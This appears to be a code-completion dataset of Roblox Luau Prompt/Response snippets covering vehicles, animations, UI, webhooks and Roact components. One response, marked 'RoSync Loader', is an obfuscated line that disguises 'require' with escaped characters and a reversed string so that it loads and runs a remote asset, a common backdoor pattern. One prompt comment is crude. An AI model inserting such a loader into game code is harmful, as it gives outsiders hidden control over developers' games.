Response:
function onChildAdded(child)
	if child.Name == "SeatWeld" then
		local human = child.part1.Parent:findFirstChild("Humanoid")
		if (human ~= nil) then
			print("Human IN")
			seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car"
			seat.Parent.Name = human.Parent.Name.."'s Car"
			s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
			s.Parent.RDetector:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
			seat.Start:Play()
			wait(1)
			seat.Start:Stop()
			seat.Engine:Play()
		end
	end
end

function onChildRemoved(child)
	if (child.Name == "SeatWeld") then
		local human = child.part1.Parent:findFirstChild("Humanoid")
		if (human ~= nil) then
			print("Human OUT")
			seat.Parent.Name = "Empty Car"
			seat.SirenControl.Control.CarName.Value = "Empty Car"
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.RDetector:remove()
			seat.Engine:Stop()
		end
	end
end

script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)


Prompt:
-- This module was created by LuaScape (Roblox: Snawrk)
-- Proxy Created By LewisTehMinerz
-- DO NOT Edit the code below unless you know what you're doing!
---------------------------------------------------------------------------------------

Response:
local webhookService = {}

local https = game:GetService("HttpService")

function webhookService:createMessage(url, message : string)
	local data = {
		["content"] = message
	}
	local finalData = https:JSONEncode(data)
	local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe")
	local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com")
	local good, bad = pcall(function()
		https:PostAsync(finalUrl, finalData)
	end)
	if good then
		print("Webhook Request Success!")
	else
		print("Webhook Request Failed " .. bad .. " Trying backup URL")
		https:PostAsync(finalBackupUrl, finalData)
		print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.")
	end
end

function webhookService:createEmbed(url, title : string, message :string , fields, image)
	local data = {
		['content'] = "",
		['embeds'] = {{
			["thumbnail"] = {["url"] = image},
			['title'] = "**"..title.."**",
			['description'] = message,
			['type'] = "rich",
			["color"] = tonumber(0xffffff),
			['fields'] = fields

		},
		},
	}
	local finalData = https:JSONEncode(data)
	local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe")
	local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com")

	local good, bad = pcall(function()
		https:PostAsync(finalUrl, finalData)
	end)
	if good then
		print("Webhook Request Success!")
	else
		print("Webhook Request Failed " .. bad .. " Trying backup URL")
		https:PostAsync(finalBackupUrl, finalData)
		print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.")

	end
end

function webhookService:createAuthorEmbed(url, authorName : string, iconurl, description : string, fields)
	local data = {
		["embeds"] = {{
			["author"] = {
				["name"] = authorName,
				["icon_url"] = iconurl,
			},
			["description"] = description,
			["color"] = tonumber(0xFFFAFA),
			["fields"] = fields

		}},
	}

	local finalData = https:JSONEncode(data)
	local finalUrl = string.gsub(url, "discord.com", "webhook.lewisakura.moe")
	local finalBackupUrl = string.gsub(url, "discord.com", "webhook.newstargeted.com")

	local good, bad = pcall(function()
		https:PostAsync(finalUrl, finalData)
	end)
	if good then
		print("Webhook Request Success!")
	else
		print("Webhook Request Failed " .. bad .. " Trying backup URL")
		https:PostAsync(finalBackupUrl, finalData)
		print("Attempted request with backup URL, if webhook does not send then both URLS are down or you have a bad request.")
	end
end

return webhookService


Prompt: --[[ Last synced 10/10/2022 07:39 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt:
-- Errors that are thrown while unmounting (or after in the case of passive effects)
-- should bypass any error boundaries that are also unmounting (or have unmounted)
-- and be handled by the nearest still-mounted boundary.
-- If there are no still-mounted boundaries, the errors should be rethrown.

Response: exports.skipUnmountedBoundaries = true


Prompt: ---[[ Command/Filter Priorities ]]

Response:
module.VeryLowPriority = -5
module.LowPriority = 0
module.StandardPriority = 10
module.HighPriority = 20
module.VeryHighPriority = 25

return module


Response:
function onRunning(speed)
	if speed>0 then
		playAnimation("walk", 0.1, Humanoid)
		pose = "Running"
	else
		playAnimation("idle", 0.1, Humanoid)
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.ClassName == "Tool" then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.ClassName == "StringValue" then
			return c
		end
	end
	return nil
end

function animateTool()
	if toolAnim == "None" then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
		return
	end

	if toolAnim == "Slash" then
		playToolAnimation("toolslash", 0, Humanoid)
		return
	end

	if toolAnim == "Lunge" then
		playToolAnimation("toollunge", 0, Humanoid)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		stopAllAnimations()
		moveSit()
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then


Prompt: -- External services

Response: local tweenService = game:GetService("TweenService")


Prompt:
--[=[
  @function removeKeys
  @within Dictionary

  @param dictionary {[K]: V} -- The dictionary to remove the keys from.
  @param keys ...K -- The keys to remove.
  @return {[K]: V} -- The dictionary without the given keys.

  Removes the given keys from the given dictionary.

  ```lua
  local dictionary = { hello = "world", cat = "meow", dog = "woof", unicorn = "rainbow" }

  local withoutCatDog = RemoveKeys(dictionary, "cat", "dog") -- { hello = "world", unicorn = "rainbow" }
  ```
]=]

Response:
local function removeKeys<K, V>(dictionary: { [K]: V }, ...: K): { [K]: V }
	local result = copy(dictionary)

	for _, key in ipairs({ ... }) do
		result[key] = nil
	end

	return result
end

return removeKeys


Prompt: -- find the character associated with a part if there is one.

Response:
local function FindCharacterAncestor(subject)
	if subject and subject ~= Workspace then
		local humanoid = subject:FindFirstChild('Humanoid')
		if humanoid then
			return subject, humanoid
		else
			return FindCharacterAncestor(subject.Parent)
		end
	end
	return nil
end


Prompt: --{{ Checks If script possible }}--

Response:
if game.Players.LocalPlayer:WaitForChild("Drift Points") then
else
	script:Destroy()
end


Prompt: --// All global vars will be wiped/replaced except script

Response:
return function(data, env)
	if env then
		setfenv(1, env)
	end
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local scr = client.UI.Prepare(script.Parent.Parent)
	local main = scr.Main
	local t1 = main.Title
	local t2 = main.Message
	local msg = data.Message
	local color = data.Color or Color3.fromRGB(255, 78, 78)

	local tweenInfo = TweenInfo.new(0.20)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
	local consoleOpenTween = service.TweenService:Create(main, tweenInfo, {
		Position = UDim2.new(0.11, 0, 0.35, 0);
	})

	local consoleCloseTween = service.TweenService:Create(main, tweenInfo, {
		Position = UDim2.new(0.11, 0, 0, -200);
	})

	local found = client.UI.Get("Output")
	if found then
		for i,v in pairs(found) do
			local p = v.Object
			if p and p.Parent then
				local consoleOpenTween1 = service.TweenService:Create(p.Main, tweenInfo, {
					Position = UDim2.new(0.11, 0, 0.35, p.Main.Position.Y.Offset+55);
				})
				consoleOpenTween1:Play()
			end
		end
	end
	t2.TextColor3 = color
	main.BackgroundColor3 = color
	t2.Text = msg
	t2.Font = "Gotham"
	consoleOpenTween:Play()
	--t2.Position = UDim2.new(0, 0, 0.35, 0)
	gTable.Ready()
	wait(5)
	consoleCloseTween:Play()
	wait(2)
	gTable.Destroy()
end


Prompt:
--[[
	@class SoftShutdownTranslator
]]

Response:
local require = require(script.Parent.loader).load(script)

return require("JSONTranslator").new("en", {
	shutdown = {
		lobby = {
			title = "Rebooting servers for update.";
			subtitle = "Teleporting back in a moment...";
		};
		restart = {
			title = "Rebooting servers for update.";
			subtitle = "Please wait...";
		};
		complete = {
			title = "Rebooting servers for update.";
			subtitle = "Update complete...";
		};
	};
})


Prompt: -- ProductId 1218012019 for 1000 Cash

Response:
developerProductFunctions[Config.DeveloperProductIds["1000 Cash"]] = function(receipt, player)
	-- Logic/code for player buying 1000 Cash (may vary)
	local leaderstats = player:FindFirstChild("leaderstats")
	local cash = leaderstats and leaderstats:FindFirstChild("Cash")
	if cash then
		if Utilities:OwnsGamepass(player, gamepassID) then
			cash.Value += 2000
		else
			cash.Value += 1000
		end
		return true
	end
end


Response:
Ton2Swch.Changed:Connect(function()
	if Ton2Swch.Value == true then
		Ton2Swch.Parent.P1.Transparency = 1
		Ton2Swch.Parent.P2.Transparency = 0
		ClickSound:Play()
		Tone2Val.Test.Value = true
	else
		Ton2Swch.Parent.P1.Transparency = 0
		Ton2Swch.Parent.P2.Transparency = 1
		ClickSound:Play()
		Tone2Val.Test.Value = false
	end
end)

Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function()
	if Ton1Swch.Value == true then
		Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto"
		Ton1Swch.Value = false
	else
		Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test"
		Ton1Swch.Value = true
	end
end)

Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function()
	if Ton2Swch.Value == true then
		Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto"
		Ton2Swch.Value = false
	else
		Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test"
		Ton2Swch.Value = true
	end
end)

ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Triggered:Connect(function()
	if ModSwch.Value == true then
		ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Auto"
		ModSwch.Value = false
	else
		ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.ActionText="Test"
		ModSwch.Value = true
	end
end)

function Lock()
		if script.Parent.Locked.Value == true then
		ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false
		Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false
		Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = false
		else
		ModSwch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true
		Ton1Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true
		Ton2Swch.Parent.SelectionObjectBrick.ProximityPrompt.Enabled = true
		end
end

Lock()

script.Parent.Locked.Changed:Connect(function()
	Lock()
end)


Prompt: -- Returns the ancestor that contains a Humanoid, if it exists

Response:
local function FindCharacterAncestor(subject)
	if subject and subject ~= Workspace then
		local humanoid = subject:FindFirstChild('Humanoid')
		if humanoid then
			return subject, humanoid
		else
			return FindCharacterAncestor(subject.Parent)
		end
	end
	return nil
end

local function OnExplosionHit(hitPart)
	if hitPart then
		local _, humanoid = FindCharacterAncestor(hitPart.Parent)
		if humanoid and humanoid.Health > 0 then
			local hitBindable = humanoid:FindFirstChild('Hit')
			if hitBindable then
				hitBindable:Invoke(0, CreatorTag)
			else
				print("Could not find BindableFunction 'Hit'")
			end
		end
	end
end

local function OnTouched(otherPart)
	if Rocket and otherPart then
		-- Fly through anything in the ignore list
		if ROCKET_IGNORE_LIST[string.lower(otherPart.Name)] then
			return
		end

		-- Fly through the creator
		local myPlayer = CreatorTag.Value
		if myPlayer and myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then
			return
		end

		-- Create the explosion
		local explosion = Instance.new('Explosion')
		explosion.BlastPressure = BLAST_PRESSURE
		explosion.BlastRadius = BLAST_RADIUS
		explosion.Position = Rocket.Position
		explosion.Hit:connect(OnExplosionHit)
		explosion.Parent = Workspace

		-- Start playing the boom sound
		local boomSound = Rocket:FindFirstChild('Boom')
		if boomSound then
			boomSound:Play()
		end

		-- NOTE:
		-- If we just destroyed the rocket at this point, the boom sound would be destroyed too,
		-- so instead we will hide the rocket, keep it in the same spot, and schedule it for deletion

		-- Stop playing the swoosh sound
		local swooshSound = Rocket:FindFirstChild('Swoosh')
		if swooshSound then
			swooshSound:Stop()
		end

		-- Put out the fire
		local fire = Rocket:FindFirstChild('Fire')
		if fire then
			fire:Destroy()
		end

		Rocket.Transparency = 1
		Rocket.CanCollide = false
		Rocket.Anchored = true
		DebrisService:AddItem(Rocket, 3)

		-- Destroy the connection so this method won't be called again
		Connection:disconnect()
	end
end


Prompt:
--[=[
	Observables a given value object's value
	@param valueObject Instance
	@return Observable<T>
]=]

Response:
function RxValueBaseUtils.observeValue(valueObject)
	return RxInstanceUtils.observeProperty(valueObject, "Value")
end

return RxValueBaseUtils


Prompt: --local l__BodyGyro__13 = v2.char:WaitForChild("HumanoidRootPart"):WaitForChild("BodyGyro");

Response:
local l__Waist__14 = v2.char:WaitForChild("UpperTorso"):WaitForChild("Waist");
local l__Neck__15 = v2.char:WaitForChild("Head"):WaitForChild("Neck");
local l__Root__16 = v2.char:WaitForChild("LowerTorso"):WaitForChild("Root");
local l__RightShoulder__17 = v2.char:WaitForChild("RightUpperArm"):WaitForChild("RightShoulder");
local l__LeftShoulder__18 = v2.char:WaitForChild("LeftUpperArm"):WaitForChild("LeftShoulder");
local l__RightUpperArm__19 = v2.char:WaitForChild("RightUpperArm");
local l__LeftUpperArm__20 = v2.char:WaitForChild("LeftUpperArm");
local l__Waist__21 = v2.char:WaitForChild("UpperTorso"):WaitForChild("Waist");
local l__Neck__22 = v2.char:WaitForChild("Head"):WaitForChild("Neck");
local l__Root__23 = v2.char:WaitForChild("LowerTorso"):WaitForChild("Root");
local l__RightShoulder__24 = v2.char:WaitForChild("RightUpperArm"):WaitForChild("RightShoulder");
local l__LeftShoulder__25 = v2.char:WaitForChild("LeftUpperArm"):WaitForChild("LeftShoulder");
local v26 = Vector3.new(0, 0, 1);
local l__Animations__27 = v2.char:WaitForChild("Animations");
local v28 = Vector3.new(0, 0, 0);
local v29 = tick();
local v30 = tick();
local v31 = tick();
local v32 = OverlapParams.new();
local v33 = {
	Crouch = v1.MainFrame:WaitForChild("MobileButtons"):WaitForChild("CrouchButton")
};
v32.CollisionGroup = "Player";
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Seated, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Jumping, false);
l__Humanoid__9:SetStateEnabled(Enum.HumanoidStateType.Climbing, false);
local v34 = {
	Walk = {}
};
for v35, v36 in pairs(l__Animations__27:GetChildren()) do
	v34[v36.Name] = v2.hum:WaitForChild("Animator"):LoadAnimation(v36);
end;


Response:
local function IsInBottomLeft(pt)
	local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
	local joystickWidth = joystickHeight
	return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end

local function IsInBottomRight(pt)
	local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250)
	local joystickWidth = joystickHeight
	return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight
end

local function CheckAlive(character)
	local humanoid = findPlayerHumanoid(Player)
	return humanoid ~= nil and humanoid.Health > 0
end

local function GetEquippedTool(character)
	if character ~= nil then
		for _, child in pairs(character:GetChildren()) do
			if child:IsA('Tool') then
				return child
			end
		end
	end
end

local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil

local function CleanupPath()
	DrivingTo = nil
	if ExistingPather then
		ExistingPather:Cancel()
	end
	if PathCompleteListener then
		PathCompleteListener:Disconnect()
		PathCompleteListener = nil
	end
	if PathFailedListener then
		PathFailedListener:Disconnect()
		PathFailedListener = nil
	end
	if ExistingIndicator then
		local obj = ExistingIndicator
		local tween = obj:TweenOut()
		local tweenCompleteEvent = nil
		tweenCompleteEvent = tween.Completed:connect(function()
			tweenCompleteEvent:Disconnect()
			obj.Model:Destroy()
		end)
		ExistingIndicator = nil
	end
end

local function getExtentsSize(Parts)
	local maxX,maxY,maxZ = -math.huge,-math.huge,-math.huge
	local minX,minY,minZ = math.huge,math.huge,math.huge
	for i = 1, #Parts do
		maxX,maxY,maxZ = math.max(maxX, Parts[i].Position.X), math.max(maxY, Parts[i].Position.Y), math.max(maxZ, Parts[i].Position.Z)
		minX,minY,minZ = math.min(minX, Parts[i].Position.X), math.min(minY, Parts[i].Position.Y), math.min(minZ, Parts[i].Position.Z)
	end
	return Region3.new(Vector3.new(minX, minY, minZ), Vector3.new(maxX, maxY, maxZ))
end

local function inExtents(Extents, Position)
	if Position.X < (Extents.CFrame.p.X - Extents.Size.X/2) or Position.X > (Extents.CFrame.p.X + Extents.Size.X/2) then
		return false
	end
	if Position.Z < (Extents.CFrame.p.Z - Extents.Size.Z/2) or Position.Z > (Extents.CFrame.p.Z + Extents.Size.Z/2) then
		return false
	end
	--ignoring Y for now
	return true
end

local function showQuickPopupAsync(position, popupType)
	local popup = createNewPopup(popupType)
	popup:Place(position, Vector3.new(0,position.y,0))
	local tweenIn = popup:TweenIn()
	tweenIn.Completed:Wait()
	local tweenOut = popup:TweenOut()
	tweenOut.Completed:Wait()
	popup.Model:Destroy()
	popup = nil
end

local FailCount = 0
local function OnTap(tapPositions, goToPoint)
	-- Good to remember if this is the latest tap event
	local camera = workspace.CurrentCamera
	local character = Player.Character

	if not CheckAlive(character) then return end

	-- This is a path tap position
	if #tapPositions == 1 or goToPoint then
		if camera then
			local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
			local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)

			-- inivisicam stuff
			local initIgnore = getIgnoreList()
			local invisicamParts = {} --InvisicamModule and InvisicamModule:GetObscuredParts() or {}
			local ignoreTab = {}

			-- add to the ignore list
			for i, v in pairs(invisicamParts) do
				ignoreTab[#ignoreTab+1] = i
			end
			for i = 1, #initIgnore do
				ignoreTab[#ignoreTab+1] = initIgnore[i]
			end
			--
			local myHumanoid = findPlayerHumanoid(Player)
			local hitPart, hitPt, hitNormal, hitMat = Utility.Raycast(ray, true, ignoreTab)

			local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
			local torso = GetTorso()
			local startPos = torso.CFrame.p
			if goToPoint then
				hitPt = goToPoint
				hitChar = nil
			end
			if hitChar and hitHumanoid and hitHumanoid.RootPart and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then
				CleanupPath()

				if myHumanoid then
					myHumanoid:MoveTo(hitPt)
				end
				-- Do shoot
				local currentWeapon = GetEquippedTool(character)
				if currentWeapon then
					currentWeapon:Activate()
					LastFired = tick()
				end
			elseif hitPt and character and not CurrentSeatPart then
				local thisPather = Pather(character, hitPt, hitNormal)
				if thisPather:IsValidPath() then
					FailCount = 0

					thisPather:Start()
					if BindableEvent_OnFailStateChanged then
						BindableEvent_OnFailStateChanged:Fire(false)
					end
					CleanupPath()

					local destinationPopup = createNewPopup("DestinationPopup")
					destinationPopup:Place(hitPt, Vector3.new(0,hitPt.y,0))
					local failurePopup = createNewPopup("FailurePopup")
					local currentTween = destinationPopup:TweenIn()

					ExistingPather = thisPather
					ExistingIndicator = destinationPopup

					PathCompleteListener = thisPather.Finished.Event:Connect(function()
						if destinationPopup then
							if ExistingIndicator == destinationPopup then
								ExistingIndicator = nil
							end
							local tween = destinationPopup:TweenOut()
							local tweenCompleteEvent = nil
							tweenCompleteEvent = tween.Completed:Connect(function()
								tweenCompleteEvent:Disconnect()
								destinationPopup.Model:Destroy()
								destinationPopup = nil
							end)
						end
						if hitChar then
							local humanoid = findPlayerHumanoid(Player)
							local currentWeapon = GetEquippedTool(character)
							if currentWeapon then
								currentWeapon:Activate()
								LastFired = tick()
							end
							if humanoid then
								humanoid:MoveTo(hitPt)
							end
						end
					end)
					PathFailedListener = thisPather.PathFailed.Event:Connect(function()
						CleanupPath()
						if failurePopup then
							failurePopup:Place(hitPt, Vector3.new(0,hitPt.y,0))
							local failTweenIn = failurePopup:TweenIn()
							failTweenIn.Completed:Wait()
							local failTweenOut = failurePopup:TweenOut()
							failTweenOut.Completed:Wait()
							failurePopup.Model:Destroy()
							failurePopup = nil
						end
					end)
				else
					if hitPt then
						-- Feedback here for when we don't have a good path
						local foundDirectPath = false
						if (hitPt-startPos).Magnitude < 25 and (startPos.y-hitPt.y > -3) then
							-- move directly here
							if myHumanoid then
								if myHumanoid.Sit then
									myHumanoid.Jump = true
								end
								myHumanoid:MoveTo(hitPt)
								foundDirectPath = true
							end
						end

						coroutine.wrap(showQuickPopupAsync)(hitPt, foundDirectPath and "DirectWalkPopup" or "FailurePopup")
					end
				end
			elseif hitPt and character and CurrentSeatPart then
				local destinationPopup = createNewPopup("DestinationPopup")
				ExistingIndicator = destinationPopup
				destinationPopup:Place(hitPt, Vector3.new(0,hitPt.y,0))
				destinationPopup:TweenIn()

				DrivingTo = hitPt
				local ConnectedParts = CurrentSeatPart:GetConnectedParts(true)

				while wait() do
					if CurrentSeatPart and ExistingIndicator == destinationPopup then
						local ExtentsSize = getExtentsSize(ConnectedParts)
						if inExtents(ExtentsSize, hitPt) then
							local popup = destinationPopup
							spawn(function()
								local tweenOut = popup:TweenOut()
								tweenOut.Completed:Wait()
								popup.Model:Destroy()
							end)
							destinationPopup = nil
							DrivingTo = nil
							break
						end
					else
						if CurrentSeatPart == nil and destinationPopup == ExistingIndicator then
							DrivingTo = nil
							OnTap(tapPositions, hitPt)
						end
						local popup = destinationPopup
						spawn(function()
							local tweenOut = popup:TweenOut()
							tweenOut.Completed:Wait()
							popup.Model:Destroy()
						end)
						destinationPopup = nil
						break
					end
				end
			end
		end
	elseif #tapPositions >= 2 then
		if camera then
			-- Do shoot
			local avgPoint = Utility.AveragePoints(tapPositions)
			local unitRay = camera:ScreenPointToRay(avgPoint.x, avgPoint.y)
			local currentWeapon = GetEquippedTool(character)
			if currentWeapon then
				currentWeapon:Activate()
				LastFired = tick()
			end
		end
	end
end

local function IsFinite(num)
	return num == num and num ~= 1/0 and num ~= -1/0
end

local function findAngleBetweenXZVectors(vec2, vec1)
	return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z)
end

local function DisconnectEvent(event)
	if event then
		event:Disconnect()
	end
end


Prompt:
--[[
	A method called by consumers of Roact to create a new component class.
	Components can not be extended beyond this point, with the exception of
	PureComponent.
]]

Response:
function Component:extend(name)
	if config.typeChecks then
		assert(Type.of(self) == Type.StatefulComponentClass, "Invalid `self` argument to `extend`.")
		assert(typeof(name) == "string", "Component class name must be a string")
	end

	local class = {}

	for key, value in pairs(self) do
		-- Roact opts to make consumers use composition over inheritance, which
		-- lines up with React.
		-- https://reactjs.org/docs/composition-vs-inheritance.html
		if key ~= "extend" then
			class[key] = value
		end
	end

	class[Type] = Type.StatefulComponentClass
	class.__index = class
	class.__componentName = name

	setmetatable(class, componentClassMetatable)

	return class
end

function Component:__getDerivedState(incomingProps, incomingState)
	if config.internalTypeChecks then
		internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getDerivedState`")
	end

	local internalData = self[InternalData]
	local componentClass = internalData.componentClass

	if componentClass.getDerivedStateFromProps ~= nil then
		local derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState)

		if derivedState ~= nil then
			if config.typeChecks then
				assert(typeof(derivedState) == "table", "getDerivedStateFromProps must return a table!")
			end

			return derivedState
		end
	end

	return nil
end

function Component:setState(mapState)
	if config.typeChecks then
		assert(Type.of(self) == Type.StatefulComponentInstance, "Invalid `self` argument to `extend`.")
	end

	local internalData = self[InternalData]
	local lifecyclePhase = internalData.lifecyclePhase

	--[[
		When preparing to update, render, or unmount, it is not safe
		to call `setState` as it will interfere with in-flight updates. It's
		also disallowed during unmounting
	]]
	if
		lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate
		or lifecyclePhase == ComponentLifecyclePhase.WillUpdate
		or lifecyclePhase == ComponentLifecyclePhase.Render
	then
		local messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase]

		local message = messageTemplate:format(tostring(internalData.componentClass))
		error(message, 2)
	elseif lifecyclePhase == ComponentLifecyclePhase.WillUnmount then
		-- Should not print error message. See https://github.com/facebook/react/pull/22114
		return
	end

	local pendingState = internalData.pendingState

	local partialState
	if typeof(mapState) == "function" then
		partialState = mapState(pendingState or self.state, self.props)

		-- Abort the state update if the given state updater function returns nil
		if partialState == nil then
			return
		end
	elseif typeof(mapState) == "table" then
		partialState = mapState
	else
		error("Invalid argument to setState, expected function or table", 2)
	end

	local newState
	if pendingState ~= nil then
		newState = assign(pendingState, partialState)
	else
		newState = assign({}, self.state, partialState)
	end

	if lifecyclePhase == ComponentLifecyclePhase.Init then
		-- If `setState` is called in `init`, we can skip triggering an update!
		local derivedState = self:__getDerivedState(self.props, newState)
		self.state = assign(newState, derivedState)
	elseif
		lifecyclePhase == ComponentLifecyclePhase.DidMount
		or lifecyclePhase == ComponentLifecyclePhase.DidUpdate
		or lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren
	then
		--[[
			During certain phases of the component lifecycle, it's acceptable to
			allow `setState` but defer the update until we're done with ones in flight.
			We do this by collapsing it into any pending updates we have.
		]]
		local derivedState = self:__getDerivedState(self.props, newState)
		internalData.pendingState = assign(newState, derivedState)
	elseif lifecyclePhase == ComponentLifecyclePhase.Idle then
		-- Outside of our lifecycle, the state update is safe to make immediately
		self:__update(nil, newState)
	else
		local messageTemplate = invalidSetStateMessages.default

		local message = messageTemplate:format(tostring(internalData.componentClass))

		error(message, 2)
	end
end


Prompt:
--[[
	Enters the view, cloning the element from ReplicatedStorage.
]]

Response:
function Finished.enter()
	successSound:Play()

	activeElements = elements:Clone()

	activeElements.Time.Text = GetReadableTime(ClientPlayerStatusHandler.get(UserId, "time") or 0)
	activeElements.Title.Text = translate("You escaped!")
	activeElements.Parent = LocalPlayer.PlayerGui
end


Prompt:
--[[
	Returns a string that is human readable, signifying the input enum
]]

Response:
return function(inputEnum)
	if inputEnum == Enum.UserInputType.MouseButton1 then
		return "LMB"
	elseif inputEnum == Enum.UserInputType.MouseButton2 then
		return "RMB"
	elseif inputEnum == Enum.KeyCode.Q then
		return "Q"
	else
		return "?"
	end
end


Prompt: --  gay guy

Response:
function onTouch(part)

local human = part.Parent:findFirstChild("Humanoid")
if (human == nil) then return end

human.Parent.Name= "IT ATE ME!" --Change ~~~NZ~~~ to whatever name u want

end

script.Parent.Touched:connect(onTouch)


Prompt: -- << VARIABLES >>

Response:
local music_list = {1840684529,1840684529,1840684529,1840684529,1840684529,1840684529,1840684529,1840684529}
local volume = 1


Prompt: --// Aim|Zoom|Sensitivity Customization

Response:
	ZoomSpeed = 0.15; -- The lower the number the slower and smoother the tween
	AimZoom = 5; -- Default zoom
	AimSpeed = 0.15;
	UnaimSpeed = 0.15;
	CycleAimZoom = 4; -- Cycled zoom
	MouseSensitivity = 0.05; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy


Prompt: --[[Transmission]]

Response:
Tune.TransModes		= {"Auto","Semi","Manual"}							--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 2.89			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	2.32		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		2.84		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		1.55		,
		--[[ 3 ]]		1.00		,
		--[[ 4 ]]		.70		,
	}
